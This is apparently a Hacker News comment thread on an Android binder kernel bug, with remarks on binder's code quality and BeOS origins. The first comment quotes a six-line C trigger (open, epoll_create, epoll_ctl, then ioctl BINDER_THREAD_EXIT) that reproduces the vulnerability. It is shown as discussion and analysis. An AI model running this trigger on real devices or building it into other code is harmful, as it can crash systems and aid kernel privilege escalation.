3 ms·
The bug is scaringly easy to trigger. It just takes four system calls, none of which are niche or take unusual arguments. int fd, epfd; struct epoll_ev
by kccqzy 7y ago
The bug is scaringly easy to trigger. It just takes four system calls, none of which are niche or take unusual arguments.
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
- catern 7y agoIt's interesting that even such basic usage of binder is buggy. It's long been known that binder is horrible code, but I didn't know it was quite this bad. It's unfortunate that Google chose to use a custom IPC system, binder, for Android, instead of changing Android's design to better fit Linux. If binder was in use outside Android, I expect this bug would have been caught long ago and certainly would have been backported to stable.
- blub 7y agoJudging by how much Binder's "elegant design" of BeOS pedigree was praised, I was expecting it to be quite good. I just had a look at binder.c and the ref counting and locking in general looks like a nightmare to maintain. This reminds me of how much I hate resource management in C.
- jumpingmice 7y agoMost of the BeOS was written in C++. Nobody at Be would have tolerated the code quality you find in Linux binder.
- jsjohnst 7y agoCompare that to the level of sophistication required to do exploits in the recent iOS deep dive blog post and the commentary about “bad programming” in regards to it.